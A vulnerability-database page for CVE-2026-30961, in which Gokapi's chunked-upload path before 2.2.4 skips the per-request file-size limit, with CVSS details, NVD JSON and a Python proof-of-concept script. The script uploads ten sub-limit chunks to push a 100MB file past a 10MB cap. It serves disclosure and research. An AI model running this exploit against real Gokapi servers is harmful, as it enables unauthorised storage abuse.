Security Vulnerability Report
中文
CVE-2026-30961 CVSS 4.3 MEDIUM

CVE-2026-30961

Published: 2026-03-13 19:54:36
Last Modified: 2026-03-17 13:46:12

Description

Gokapi is a self-hosted file sharing server with automatic expiration and encryption support. Prior to 2.2.4, the chunked upload completion path for file requests does not validate the total file size against the per-request MaxSize limit. An attacker with a public file request link can split an oversized file into chunks each under MaxSize and upload them sequentially, bypassing the size restriction entirely. Files up to the server's global MaxFileSizeMB are accepted regardless of the file request's configured limit. This vulnerability is fixed in 2.2.4.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:forceu:gokapi:*:*:*:*:*:*:*:* - VULNERABLE
Gokapi < 2.2.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-30961 PoC - Gokapi MaxSize Bypass via Chunked Upload # This PoC demonstrates how to bypass file size limits using chunked uploads import requests import hashlib TARGET_URL = "http://target-gokapi-server.com" FILE_REQUEST_ID = "your-public-file-request-id" # Public file request link MAX_SIZE_LIMIT = 10485760 # 10MB per request limit def create_chunked_upload(): """Initialize chunked upload session""" endpoint = f"{TARGET_URL}/api/v1/upload/chunked/init" payload = { "fileRequestId": FILE_REQUEST_ID, "fileName": "large_file.zip", "totalSize": 104857600 # 100MB - exceeds MaxSize } response = requests.post(endpoint, json=payload) return response.json().get("uploadId") def upload_chunk(upload_id, chunk_data, chunk_index): """Upload individual chunk - each under MaxSize limit""" endpoint = f"{TARGET_URL}/api/v1/upload/chunked" files = { "chunk": chunk_data } data = { "uploadId": upload_id, "chunkIndex": chunk_index } response = requests.post(endpoint, files=files, data=data) return response.status_code == 200 def complete_chunked_upload(upload_id): """Complete upload - total size not validated against MaxSize""" endpoint = f"{TARGET_URL}/api/v1/upload/chunked/complete" payload = { "uploadId": upload_id } response = requests.post(endpoint, json=payload) return response.json() def exploit(): """Main exploit function""" upload_id = create_chunked_upload() chunk_size = MAX_SIZE_LIMIT - 1 # Just under limit total_chunks = 10 # Total 100MB for i in range(total_chunks): chunk = b'\x00' * chunk_size # Fake chunk data upload_chunk(upload_id, chunk, i) result = complete_chunked_upload(upload_id) print(f"Upload completed: {result}") # File uploaded despite exceeding per-request MaxSize limit if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-30961", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:54:35.903", "lastModified": "2026-03-17T13:46:12.297", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Gokapi is a self-hosted file sharing server with automatic expiration and encryption support. Prior to 2.2.4, the chunked upload completion path for file requests does not validate the total file size against the per-request MaxSize limit. An attacker with a public file request link can split an oversized file into chunks each under MaxSize and upload them sequentially, bypassing the size restriction entirely. Files up to the server's global MaxFileSizeMB are accepted regardless of the file request's configured limit. This vulnerability is fixed in 2.2.4."}, {"lang": "es", "value": "Gokapi es un servidor de intercambio de archivos autoalojado con soporte para expiración automática y cifrado. Antes de la versión 2.2.4, la ruta de finalización de carga por fragmentos para solicitudes de archivos no valida el tamaño total del archivo contra el límite MaxSize por solicitud. Un atacante con un enlace público de solicitud de archivo puede dividir un archivo de tamaño excesivo en fragmentos, cada uno por debajo de MaxSize, y cargarlos secuencialmente, eludiendo por completo la restricción de tamaño. Se aceptan archivos hasta el MaxFileSizeMB global del servidor, independientemente del límite configurado en la solicitud de archivo. Esta vulnerabilidad está corregida en la versión 2.2.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:forceu:gokapi:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.2.4", "matchCriteriaId": "CE6F3F4D-D449-43DD-BB3D-86F98581926C"}]}]}], "references": [{"url": "https://github.com/Forceu/Gokapi/releases/tag/v2.2.4", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/Forceu/Gokapi/security/advisories/GHSA-45vh-rpc8-hxpp", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}